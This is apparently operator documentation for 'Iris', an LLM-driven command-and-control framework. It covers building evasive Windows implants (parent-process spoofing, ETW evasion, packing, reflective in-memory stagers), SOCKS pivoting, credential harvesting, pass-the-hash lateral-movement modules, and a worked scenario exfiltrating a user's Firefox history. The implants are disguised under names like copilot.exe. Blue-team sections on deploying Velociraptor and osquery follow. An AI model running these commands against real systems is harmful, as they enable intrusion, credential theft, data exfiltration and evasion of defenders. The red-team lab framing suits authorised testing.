  • SOCKS5 pivoting — start the proxy with serve --socks-port 0.0.0.0:5555 (UDP relay :5556, named-pipe proxy :5557 come up with it), enable a pivot agent (console pivot enable <agent> or the Fleet ⇄ button — it opens a WebSocket channel back to the console; WebSocket upgrade or WG — no long-poll fallback), then point tools at the console: nmap --proxy socks5h://console:5555, Burp, proxychains, RDP. The console relays bytes between the SOCKS client and the implant dialling the internal target.
  • Routing priority — startup --socks-agent → the Pivot (C2) section's USE pin → first available pivot channel. Enabling a pivot from any surface is enough to route; DISABLE clears the pin. The USE pin is persisted and survives a console restart (the startup flag still wins).
  • Multi-hop — for an implant reachable only THROUGH another: select the gateway agent, click LISTEN (port 0 = ephemeral), then USE it — traffic takes console ↔ gateway ↔ child ↔ target. A dropped gateway channel drops the child's tunnel, which self-heals on the gateway's next reconnect (the listener is re-created automatically).
  • Named-pipe pivots on Windows reach same-host agents with no network egress at all.
  • Anything routed through the console gets the pivot too — the console PTY sets all_proxy to the SOCKS proxy whenever a pivot can route (Shell & PTY).

CLI / API parity

Every UI action exists as a CLI verb and an HTTP endpoint — the UI is just one consumer:

UICLI
Send goalconsole send <agent> "<goal>"
Shellconsole shell <agent> "<cmd>"
Live PTYconsole pty <agent>
Pull / pushconsole file <agent> <path> · console push <agent> <local> <dest>
Run moduleconsole module run <agent> <name> <args…>
Reconconsole recon <agent> [light|full]
Upgrade agentconsole upgrade <agent>
Pivotconsole pivot enable|disable <agent> — SOCKS5 is the console's --socks-port
Operatorsconsole operator add|list|disable|enable|delete|passwd
Certsconsole certs init|issue|list|revoke|show

Authentication (multi-operator)

Named operators log in once; every later verb reuses the session cookie and the console address automatically — and the audit trail attributes each action to that operator:

console login <user> <password>      # named operator → cookie in ~/.iris-session
console repl --user <user> --password <pw>   # one login, every verb at the prompt

Each verb is a request to a console and resolves it in this order: an explicit --url, then IRIS_URL, then the console login signed into, then the built-in default http://127.0.0.1:3080. A console elsewhere — another port, a remote host, TLS — is named once at login (which also stores --insecure / --ca / --cert), so later verbs need no flags.

  • The session file defaults to ~/.iris-session; IRIS_SESSION_FILE (or --session) moves it — per-operator on shared hosts.
  • A bare console login <password> uses the legacy shared console password. Any rejected password-only attempt is retried as a named sign-in, so console login <user> prompts for that account's password — which is the only credential once the shared path is closed. logout clears the cookie but keeps the console address, and the REPL persists the session it signs in with, so standalone verbs inherit it after a REPL session ends. The shared-password login stays open until the console has an active named operator — with --disable-legacy-password that is how the first account gets created — and closes the moment one exists.
  • --key / IRIS_KEY are kept as plain aliases for the password (X-Password header, legacy path).

Full verb inventory with synopsis + per-flag tables: CLI verbs & REPL. Endpoints: HTTP API.

Documentation map

The sidebar is the structure of this site. Here it is in prose, with what each layer is for.

Getting started

Console guide

One page per panel, each with a screenshot from a live console and the panel's own help text.

Operator guide

Nine numbered steps, meant to be read in order: build → first serve → bakes & the fleet → dispatching work → modules & skills → channels & pivoting → backup, restore, verification → audit & events → troubleshooting quick sheet.

The implant

Walkthroughs

Project

Search

The top-bar search covers all page content, not just the sidebar: hit Enter and it lands on the first match with every occurrence highlighted.

1. Build

./build.sh          # all platforms -> dist/<os>-<arch>/ ; console+agent+universal+builders

The console is pure Go (SQLite via a vendored pure-Go driver — no cgo, no runtime dependency on the target). Artifacts: iris-console, iris-agent, iris (universal), iris-implant-builder, iris-stager-builder, iris-lite-builder.

2. First serve

Best practice is the split launch: --console (Web UI + operator API, behind --operator-auth) + --beacon (the ONLY port agents dial — beacon, /healthz, /data; everything else a bare 404, so a scanner sees no operator controls). With --beacon set, a beacon POST against --console is a bare 404 — that surface is operators only. Bake implants against the --beacon port. A single --console (default http://127.0.0.1:3080) serves everything on one port — fine for a same-machine test. Enrollment gating and mTLS are opt-in; the annotated launch below shows every slot:

./dist/iris-console serve \
  --console 127.0.0.1:3080          # operator surface ONLY (Web UI + API) — with --beacon set it 404s beacons; 0.0.0.0 only if operators come from other hosts
  --beacon 0.0.0.0:8080        # agent-facing surface only (beacon, /healthz, /data)
  --operator-auth                # Web UI + /api/* require an operator login
  --strict                       # first-seen agents land PENDING until approved
  --cert [bundle.pem]            # HTTPS on both listeners (server-auth; client cert optional) — beacon port also sniffs plain HTTP; a combined cert+key bundle works alone, a split pair needs --certkey too
  --mtls                         # console is a CA; agents MUST present a verified client cert (overrides the cert-file posture)
  --home ~/iris-runtime          # console-owned data root (state db, files, modules, skills)
  --payload ~/payload            # payload folder served publicly at /data
  --llm-url https://…/v1         # default LLM (agents without their own converge on it)

The same launch can live in a file instead of a shell line — --config takes a JSON object whose keys are flag names:

{
  "console": "127.0.0.1:3080",
  "beacon": "0.0.0.0:8080",
  "operator-auth": true,
  "strict": true,
  "home": "~/iris-runtime",
  "payload": "~/payload",
  "llm-url": "https://…/v1"
}
./dist/iris-console serve --config console.json          # command-line flags still win
./dist/iris-console serve --config console.json --check  # show the resolved launch, bind nothing

Keys are flag names verbatim (no aliases, no nesting); a typo or a retired flag name fails with the key named, before anything binds. Keep the file 0600 — values are literal, and --check masks key/password values.

--home derives everything console-owned — iris-state.db (SQLite), files/, graph/, modules/, skills/, payload — with per-slot overrides (--state, --runtime-dir, --modules-folder, --skills-folder, --payload) always winning. State is SQLite, authoritative; the legacy JSON file is imported once and retired to <name>.json.pre-db.bak.

The operator login

Open the Web UI, sign in with user + password — the form always needs a name, and named accounts live in the SQLite store. A fresh console has no UI sign-in yet, so seed the FIRST operator from the CLI. The first password-only login defines the shared console password (bootstrap — there is no default to leak); sign in with it, then create the account through the running console, which is what operator does whenever a console answers:

./dist/iris-console login --url https://console.example.com      # bootstraps the shared password
./dist/iris-console operator add <name> --role <viewer|blue|red|admin>
./dist/iris-console operator list|disable|enable|delete|passwd …

Without --db the verbs use the running console's API, so the account lands in the database the server actually reads and the change is audited — that needs a login, which is why the bootstrap above signs in first. --db ~/iris-runtime/iris-state.db instead edits that file directly, with or without a console running: it is the way to seed an account when there is no credential to authenticate an API call yet, and since the console reads accounts from the database on every login, the change takes effect immediately. Once an active named operator exists, the shared-password login closes (even with --disable-legacy-password unset), and the shared password stops being a credential.

From the CLI/REPL the same identity applies: console login <user> <pw> (or console repl --user <user> --password <pw>) signs a named operator in; the session cookie and the console address (~/.iris-session, override with IRIS_SESSION_FILE) are reused by every later verb, so no --url is needed afterwards, and audit rows are attributed to that operator. A bare login <password> is the legacy shared-password path; if the console rejects it, the same name/password is retried as a named sign-in.

Changing passwords: once signed in, the password button in the banner changes YOUR account's password — current password required, your sessions end — sign back in. Admins reset other accounts on the Operators panel (per-row password), and the same panel manages the legacy shared password — the CLI / direct-API admin credential (X-Password); it disappears when --disable-legacy-password is set.

Roles gate every API call at one router seam (viewer reads; blue adds IR workflow + ratified deploy-clicks; red adds mission work; admin owns trust & infra — operators, certs, registry-wide clears). Unknown mutations fail CLOSED to admin. The legacy shared-password header (X-Password / Authorization: Bearer) is the legacy admin path — it carries the operator password; --disable-legacy-password turns it off — create a named admin FIRST, then flip, or you lock yourself out (the shared password bootstraps only while nothing is set).

3. Bakes & the fleet

Canonical Windows bake (builder flags — not a plain go build):

./dist/iris-implant-builder --url https://your-console.example \
  --file-out ~/payload/copilot.exe --target-os windows \
  --go <go-binary> --canary $(uuidgen) --parent-spoof quiet-mixed --etw --pack
  • Linux/macOS equivalents: --target-os linux|darwin (each bake is a fresh canary — per-build string/API encryption keys differ, so two bakes of the same version hash differently: expected).
  • Agents authenticate by ed25519 signature (pinned at first HELLO) or by mTLS client cert (console-as-CA: iris-console certs init then certs issue). There is no shared beacon key since 0.11.5 — the legacy --key flag only seals envelopes for wire compat; the console ignores it.

Mission roles: every agent runs red (attack, default), blue (sensor: detection subsystems active, goal execution read-only — action tools refuse) or dual (both). Flip live with the Fleet/Workbench control or console role red|blue|dual <agent|--all>; bake it with --role in the builder. Blue Workspace only tracks sensor-role agents (blue/dual), and payloads older than 0.11 are refused a sensor role upgrade-first instead of lying about it.

First stages: the full implant is the normal deploy. Smaller options: the lite C core (iris-lite-builder, beacons before morphing via --full-url) and the one-shot stager (iris-stager-builder) — downloads the implant, reflectively loads it into memory and jumps, or remote-injects it into a running process (--inject notepad.exe); the implant never touches disk.

Upgrading a running agent: POST /api/agents/<id>/upgrade (or the Fleet row button) with write_file for disk persistence on Windows (memory-only reflective upgrade is the stealth default; same-name replace, never litter). Serve the new exe from --payload; cache-bust URLs (?v=N) behind CDNs. An upgrade resets the console-side role — re-POST /api/agents/role {"agent":<id>,"role":…} after each upgrade if the agent had a non-default role.

4. Dispatching work

Two channels, one history — do not mix them:

  • Shell directive (no LLM): console shell <agent> <cmd>, the Fleet/Workbench shell panel, or POST /api/goals {"agent":…,"cmd":…}. Rows tag model=shell and export/purge separately. This is the channel for mechanical operator commands.
  • LLM goal: console send <agent> "…" (autonomous) or --mode supervised (plan approval via console plan <goal_id> approve|reject).
  • Tool channel: {"tool":…,"tool_args":…} / console tool — reserved for capabilities with no shell form (spawn, env, llmscan, …); using it for mechanical commands pollutes tool history.

Calling a tool directly

One executor tool, one agent, no LLM in the loop:

./dist/iris-console tool WORKSTATION creds '{"action":"browser"}'
./dist/iris-console tool dc01 recon '{"tier":"full"}' --no-wait
./dist/iris-console tool WORKSTATION bof '{"action":"list"}'
  • The second argument is the tool's own JSON object. Every name and its args are in REFERENCE.md §Tools; a name the registry does not know comes back with the live inventory (unknown tool "x" (available: …)), so a typo teaches you the list. Over HTTP it is the same call: POST /api/goals {"agent":…,"tool":…,"tool_args":…}.
  • In the REPL, use <agent> first and then tool creds '{"action":"browser"}' — the target is sticky, so no repeating --url / --key.
  • Prefer a dedicated verb when one exists: module, skill, file, push, message, mcp, upgrade, pty all have CLI twins. The tool channel is for registry capabilities with no verb: creds, recon, scan, local, evidence, lateral, llmscan, delegate, memory, spawn, lolbin, net, env, inject.
  • One agent per call — no --agents / --broadcast here. For a fan-out use shell or send, or loop over agents.
  • It waits for output by default (--wait 300). --no-wait returns the goal id immediately; collect it with console goals <id> or the Fleet view. Long enumerations are bounded by the tool's own ceiling, not by --wait.
  • A blue-role agent refuses mutating tools and says why. delegate and llmscan need a host coding agent or LLM pool to be present; exfil needs the data channel; inject is a Windows-build capability.
  • The Web UI has no tool runner — it renders tool calls in goal history (with the args), but you aim them from the CLI, the REPL, or the API.

Multi-target everywhere: --agents a1,a2 or --broadcast.

CLI & REPL. Every UI action has a CLI verb (full inventory in REFERENCE.md). For a long operator session use the REPL — one login, every verb from the prompt, sticky target via use <agent>:

./dist/iris-console repl --url https://console.example.com --key <pw>

login <password> / logout manage the session; help lists verbs; history and line editing work on a TTY, and piped stdin keeps it usable in scripts. A failed verb does not kill the session.

5. Modules (COFF/BOF) & skills

  • Library: upload via Web UI, module upload, or drop files into --modules-folder (persisted, and reconciled live — files added, changed, or removed in the folder are picked up without a console restart, like the skills folder). Sliver/Cobalt extension.json sidecars live beside the module and auto-attach (exact packing per declared arg types).
  • First-party (iris/…) vs imported (cs/…, msf/…) namespaces render as separate sections; per-module compatibility verdicts live in the development notes of the source repository.
  • The release bundle ships the live-tested community imports under bofs/cs/compiled/ (ADCS enum, Kerberoast/AS-REP, lsadump, JSONL variants; provenance + licenses in bofs/cs/README.md) — deploy with cp bofs/cs/compiled/* <modules-folder>/cs/. Nothing in Iris links them; they are separate works loaded at runtime.
  • Run: module run <agent> <name> [args…] or the Workbench/Fleet pickers (searchable comboboxes). Unix agents run ELF/Mach-O in-process (BOF format) or via a killable helper for libc-blocking modules.
  • Skills: .md packs in --skills-folder; assign per agent (skills add <name> <agent>); the focus-mode skill store table manages the store itself (view/edit/add/delete; admin writes).

6. Channels & pivoting

  • HTTPS always carries the first beacon (that response is what arms the tunnel); side channels DNS TXT (--dns, --zone) and ICMP (--icmp) fail over automatically; WireGuard rides the mTLS cert identity (--wg-advertise the public endpoint; bake implants with --wg-addr auto so moving the WG port is a no-op for the fleet). --channels picks the primary route: wg,https rides the tunnel once it is armed, https,wg keeps HTTPS primary and uses the tunnel only when HTTPS is down; either way a dead channel hands that beacon to the next one in the same cycle.
  • SOCKS5 (--socks-port): pick a pivot agent in the Transport panel's Pivot (C2) section ([USE]) or with console pivot route <agent> (auto un-pins); TCP + UDP-associate + multi-hop through a gateway implant; the console PTY routes through the same chosen pivot.
  • Secondary console fail-over: set a backup console URL (console secondary); agents auto-switch when the primary is unreachable. It is a fail-over, not a mirror: while the primary answers, beacons go to the primary and the backup receives nothing — a quiet backup console means the primary is healthy, not that the agent is lost. The implant log names the console it is reaching: beacon: console primary (…), then failover: primary console down — beacons now via secondary (…) on a switch, and every beacon line carries console=<address>. The backup is a separate server with its own state database and operator accounts, so sign in there independently. On switch the agent re-registers with it — keys, fingerprint and config — and seals its beacons with that console's own encryption key, so the record is taskable rather than a heartbeat-only row. LLM relay calls follow the same console: the agent re-points its proxy routes on a switch, so the backup console serves models with the key registered there while a dead primary (or a CDN edge over a stopped origin) cannot. If the backup restarts against a different state database its encryption key changes; the agent's next beacon is rejected once and picks the new key up from that answer.

7. Backup, restore, verification

State lives in one SQLite file (--home/iris-state.db, mode 0600, WAL, FK on, audit table append-only via triggers — UPDATE/DELETE on audit rows fail by design).

./dist/iris-console db backup --db ~/iris-runtime/iris-state.db --out backup.db
./dist/iris-console db stats  --db ~/iris-runtime/iris-state.db
./dist/iris-console db verify <legacy-state.json>   # throwaway-DB LOSSLESS import proof
./dist/iris-console db export [--out state.json]    # SQLite -> JSON export

Restore = stop the console, point it at the backup (--db / swap the file). A restored store keeps the append-only guarantees — verified.

8. Audit & events

Every mutation and every RBAC denial lands in the append-only events table, attributed: admin-surface actions carry the operator name, console-init turns carry console, scheduler rows scheduler, agent-side writes agent. The detail carries the handler's own summary — a dispatch row names the goal id it created, and the Audit panel renders those ids as links to the goal row. The Web UI Audit panel tails it (searchable, absolute timestamps); console audit reads the same trail from the CLI/REPL (--q, --from/--to, --json, export/import). Export stays uncapped; the on-screen goal/audit caps are display-only.

9. Troubleshooting quick sheet

SymptomCause / fix
Agent 401 at first beaconStrict enrollment — approve the PENDING agent (bell / Fleet row)
Implant runs with NO output, Fleet stays emptyImplants are fully silent BY DESIGN and have NO runtime --debug — bake it in: --debug on the builder (or DEBUG=1 ./implant.sh), re-bake, and the beacon log shows every failure verbatim
TLS error doesn't contain any IP SANs / signed by unknown authorityThe agent must trust what it dials: bake the certs issue bundle (implant build --cert bundle.pem — it carries the console CA), and loopback SANs (localhost, 127.0.0.1, ::1) ship in every server cert, so https://127.0.0.1:<beacon-port> verifies with no flags. LAN IPs/hostnames: --mtls-san <host[,ip]> at PKI init; or bake --insecure (INSECURE=1 ./implant.sh) / run with --insecure
Browser refuses the console URL; log shows http: TLS handshake error … remote error: tls: bad certificateThe browser is rejecting YOUR certificate (self-signed or not in its trust store) — the handshake never reaches a handler. Trust the cert in the OS/browser store, or run certs init and trust the console CA once, or keep --console plain HTTP (internal + behind --operator-auth) and reserve TLS for --beacon. Peer-side rejections are counted and summarized in the log, not printed per line
Beacon rejected 403 foreverAgent is blocklisted — console unblocklist <agent>
Agent version stays old after upgradeMemory-only upgrade — re-run with write_file; verify on-disk hash/size
Role wrong after upgradeUpgrade resets role — re-POST /api/agents/role (field agent)
/data/<file> serves stale bytesCDN cache — cache-bust ?v=N
Locked out after --disable-legacy-passwordCreate a named admin first; bootstrap only works with NO password set
database is locked under backup loadBusy-timeout handles it — retry the verb; keep backups off the beacon hot path

Scenario 1 — Recon campaign → graph → report

One command:

./dist/iris recon WORKSTATION campaign --url $U --key $K

What it does: requests the full-tier deterministic recon report (no LLM), waits for it on the beacon, then sends the LLM a campaign goal seeded with those facts + the 5-playbook skill pack (initial-enum, ad-enum, cred-access, roast-and-move, adcs-abuse), instructing 6–10 steps, one tool/module action per step, machine-readable module variants preferred, gated actions reported not retried. Structured findings return on the recon report and are auto-ingested into the M12.5 graph.

Receipts: deterministic report live goals; campaign goal 58240e7b — done (proxy:134c3c0ea4837ba5 → llama.cpp tunnel).

What the loop found (from the campaign result):

  • HOST Win10 10.0.18362 amd64, 2 CPUs, Ethernet0 10.0.5.103.
  • IDENTITY CORP\WIN10$ (S-1-5-18), ELEVATED.
  • DOMAIN corp.example.com, 5 accounts enumerated (Administrator, krbtgt, user, DC$, WIN7$), domain admin = Administrator.
  • PROCESSES (132): flagged the implant litter honestly — a2.exe ×2, copilot-fix.exe, s.exe, copilot-new.exe, tempp.exe, copilot(1).exe, q.exe, copilot-test.exe, copilot-clean.exe, redirector.exe + firefox ×7, msedgewebview2 ×6.
  • PERSISTENCE: stale scheduled task d768xb5q (logon as user, target binary missing); HKLM Run keys standard.
  • PRIVESC: elevated; no AlwaysInstallElevated; writable-PATH entries are standard system dirs.
  • ARTIFACTS: user profile with 20+ recon scripts + variantD.pem — prior-campaign debris the report recognized.

Graph effect (baseline before run: 45 nodes / 38 edges → after: 46 nodes / 39 edges): recon report enriched 8 existing nodes (domain corp.example.com, hosts DC/Win10, 5 users) and the service sweep added node service DC/ADWS + edge service:dc/adws —runs-on—> host:dc (module:iris/adenum).

Report: ./dist/iris graph report --url $U --key $K → 4 hosts, 20 users, 16 groups, 5 services, 1 domain, 13 findings (5 HIGH): admin-on DC, AS-REP-quotable Administrator, cached domain creds (Administrator + user MsCacheV2), kerberoastable ldap/dc.corp.example.com SPN, 5 local SAM hashes — each line citing the module + goal id that produced it.


Scenario 2 — Browser-history collect + exfil

Step 1 — direct harvest (correct negative).

./dist/iris tool WORKSTATION creds '{"action":"browser"}' --url $U --key $K

→ 984cebc3 done: no browser profiles found. Correct: the agent runs as SYSTEM and the harvest scans the running token's LOCALAPPDATA / home. A SYSTEM implant genuinely has no browser profile — this is what the tool must report, not a bug.

Step 2 — discovery points at the real browser. The scenario-1 campaign listed firefox ×7 in the process table. Locate the owner profile:

./dist/iris shell --interp cmd WORKSTATION "dir C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles" …

→ e2ef1c78 done: three profiles; the live one is 4gpjzbzc.default-release-3471911544362 (mtime = today), holding places.sqlite 5,242,880 B (+ -wal 2 MB).

Step 3 — exfil over the DATA channel (SYSTEM reads any owner):

./dist/iris file WORKSTATION "C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\4gpjzbzc.default-release-3471911544362\places.sqlite" …

→ live goals done, 5,242,880 bytes reassembled at files/WORKSTATION-8d033662-places.sqlite; header verifies SQLite format 3\0 — intact despite Firefox holding the file (WAL mode). One pitfall recorded: pulling xiw1jkwc.default-release\places.sqlite failed file not accessible — wrong profile, the failure text names the path, so the hunt self-corrects.

Step 4 — URL recovery without SQLite (byte scan, the same trick the creds browser tool uses in-tool): 301 distinct URL strings recovered, showing user browsed the payload index and every implant download (http://203.0.113.7:8080/data/copilot*.exe …) — operator campaign debris, the kind of trail this scenario is meant to demo.


Scenario 3 — Service-account hunt

The service→account mapping, AD side and host side.

AD (DC) sweep — adenum Service filter:

./dist/iris module run DC-d4e5f6 iris/adenum 10.0.5.2 administrator <nthash> CORP Service --url $U --key $K

→ live goals done: Win32_Service 26 properties + 12 instances. obj 0 fully decoded: ADWS → StartName LocalSystem, Auto, Running, PID 1300. Lab finding: no domain service accounts — every service on the DC runs LocalSystem/NT AUTHORITY (the honest answer; a real AD would surface SQL/service principals here). Graph: service node + runs-on edge (see Scenario 1).

Host (Win10) sweep — wmiexec query WQL:

./dist/iris module run WORKSTATION iris/wmiexec query 10.0.5.103 administrator <nthash> CORP "SELECT * FROM Win32_Service" …

→ live goals done; class resolves and instances arrive, but instance values shift for this class/host (see open findings).

Argument discipline (learned the hard way): both modules take <action> <host> <user> <hash> [domain] [args…]; nf < 4 prints usage on the debug stream only — a bare adenum Service run returns an empty result, not an error.


Deploying Velociraptor through an implant

The blue implant never installs IR tooling itself. Landing the Velociraptor client on a sensor is exactly one operator click: deploy Velociraptor in Blue Workspace → Investigate → client row.

Where the binary comes from

The deploy URL is operator-configurable AT RUNTIME: the Blue Workspace "deploy source" row (set/reset), the REPL vr-url verb, or the --vr-url serve flag (all persisted; GET/POST /api/deploy-urls). Default is /data/velociraptor.exe from the payload folder; any "/"-path on the console listeners (resolved against the beacon base) or an absolute http(s) URL also works — the UI provenance lines show the configured source.

  • The console serves its payload folder (--payload <dir>, here ~/payload) unauthenticated at /data on both listeners (operator surface + beacon-only side channel). The deploy URL is always /data/velociraptor.exe.
  • Keep the file named exactly velociraptor.exe. Grab the release client (Windows amd64 for our fleet): https://github.com/Velocidex/velociraptor/releases/download/v0.77.3/velociraptor-v0.77.3-windows-amd64.exe.gz → gunzip → place as <payload>/velociraptor.exe. (Iris pins v0.77.3 — the composed VQL is verified against that build; upgrading the pin is a code change, not a file swap.)

Updating clients

Replace the file in the payload folder, then re-deploy. Re-deploy over a present client is the supported repair path for a half-downloaded or stale binary — no uninstall dance needed. Nothing restarts on the console; payload files are read per request.

What the click does

  1. Console queues a protocol-side task (rides the beacon like an upgrade — no LLM, blue gate untouched).
  2. Agent downloads with a 128 MB cap, writes temp + rename into %LOCALAPPDATA%\iris-vr\velociraptor.exe (~/.iris-vr/ on non-Windows; agent --vr-path overrides).
  3. Verifies by running velociraptor.exe version — note VR's CLI has no --version flag, verification uses the version subcommand.
  4. Goal reports done with binary path + size; the agent's HELLO carries the vr capability bit and the Blue Workspace client chip goes green.

Uninstall & charter

Uninstall = delete the file (red/operator-side file op) — blue never removes it. Artifact runs are read-only collections (FILESYSTEM_READ); nothing installs or mutates beyond the one binary.

Troubleshooting

  • "no Velociraptor client on this host" → deploy click; the sensor only reports presence, it never fetches by itself.
  • "tls: certificate required" on older agents → they fetched the side-channel HTTPS without a client cert; the console serves /data plain on 8080 and on the main listener — re-deploy fixes the URL.
  • Run returns "query finished — no output rows" on admin-gated artifacts (Amcache, Evtx security log) for a non-admin sensor: honest empty, not a failure. Re-run as admin or use non-gated artifacts.
  • A broken YARA rule doesn't silently zero: the goal summary now appends Velociraptor's ERROR: line (compile error text) from stderr.
  • Half-downloaded binary (truncated 73 MB image): re-deploy (repair path).

Deploying osquery through an implant

The OSQuery bridge is the Velociraptor pattern applied to a second DFIR tool: a blue sensor only reports an osqueryi client (HELLO osq bit); landing the binary is one operator click, and a blue sensor never installs IR tooling by itself. Queries are one-shot, read-only SQL.

What lands where

  • Source of truth: a CONFIGURABLE deploy URL — default the console payload folder (--payload dir), served unauthenticated at /data/osqueryi.exe. Set it at runtime with the UI's deploy source row (Blue Workspace → Investigate, or the workbench OSQuery panel — set / reset), the REPL osq-url verb, or the --osq-url serve flag (persisted; GET/POST /api/deploy-urls) to any "/"-path on the console listeners (resolved against the beacon base) or an absolute http(s) URL. The Blue Workspace / workbench provenance lines always show the configured source.
  • Install path on the sensor: %LOCALAPPDATA%\iris-osq\osqueryi.exe (~/.iris-osq/osqueryi on non-Windows). Override with --osq-path.
  • Verify: the agent runs osqueryi.exe --version after download — a half-downloaded or wrong binary fails the deploy with the error surfaced.

Staging the binary (one-time, on the console host)

Pinned build: osquery 5.24.0, windows x86_64.

curl -sL -o osq.zip https://github.com/osquery/osquery/releases/download/5.24.0/osquery-5.24.0.windows_x86_64.zip
unzip -j osq.zip "*/osqueryi.exe" -d ~/payload/   # → ~/payload/osqueryi.exe (~27 MB)

The zip also contains osqueryd and extensions — only osqueryi.exe is needed; the bridge runs the shell one-shot, no daemon.

Deploy / update / repair

  • Deploy: Blue Workspace → Investigate → deploy OSQuery (fans out to the selected sensor(s), or all blue/dual when none selected), or the workbench IR — OSQuery panel for one host. Protocol task: no LLM, no blue gate, rides the beacon like the Velociraptor deploy.
  • Update: replace ~/payload/osqueryi.exe, then re-deploy. There is no version negotiation — the payload file IS the version (same doctrine as the Velociraptor pin).
  • Repair: re-deploy over a present client is the repair path for a half-download (the --version verify catches it).

Running SQL

  • Read-only by construction: the osqueryi shell executes SELECT (and WITH) statements only. The console-side gate rejects anything else with 400 before it hits the wire.
  • Plain SQL in, one statement per run; optional short label names the run (OSQuery.<label> in the Artifact results table).
  • The agent runs osqueryi --json --timeout=300000 "<sql>" (stdout = JSON result document, stderr = tool log, captured separately); the JSON ships over the DATA channel and lands in the Artifact store like every Velociraptor run — hash cells join the active IOC set, hits feed the Fleet rollup + alert webhook as known_bad.
  • Good starting points: SELECT pid,name,path,cmdline FROM processes, SELECT p.name,s.remote_address,s.remote_port FROM process_open_sockets s JOIN processes p ON s.pid=p.pid WHERE s.remote_address!='', SELECT path,md5,sha1 FROM hash WHERE directory='C:\Windows\Temp'.

Troubleshooting

  • 409 "no OSQuery client — click deploy OSQuery first" → the host has no osqueryi at the deploy path or on PATH; one deploy click fixes it.
  • Deploy fails with "unsupported protocol scheme" on an old implant (< 0.11.3): relative payload URLs resolve against the beacon base only from 0.11.3 — upgrade the implant or pass an absolute URL.
  • "Error: no such column/table" → stderr surfaces in the goal result; check column names against the osquery schema (tables differ per OS version; no name column on process_open_sockets — JOIN processes).
  • osq bit stale in the Fleet row → deploys refresh the capability bit since 0.11.3; on older consoles it re-reports at agent re-registration.
  • Uninstall: the bridge never auto-removes; deleting %LOCALAPPDATA%\iris-osq\ on the host is the whole uninstall (the --json_newline flag does NOT exist in 5.24 — do not "fix" the run form toward it).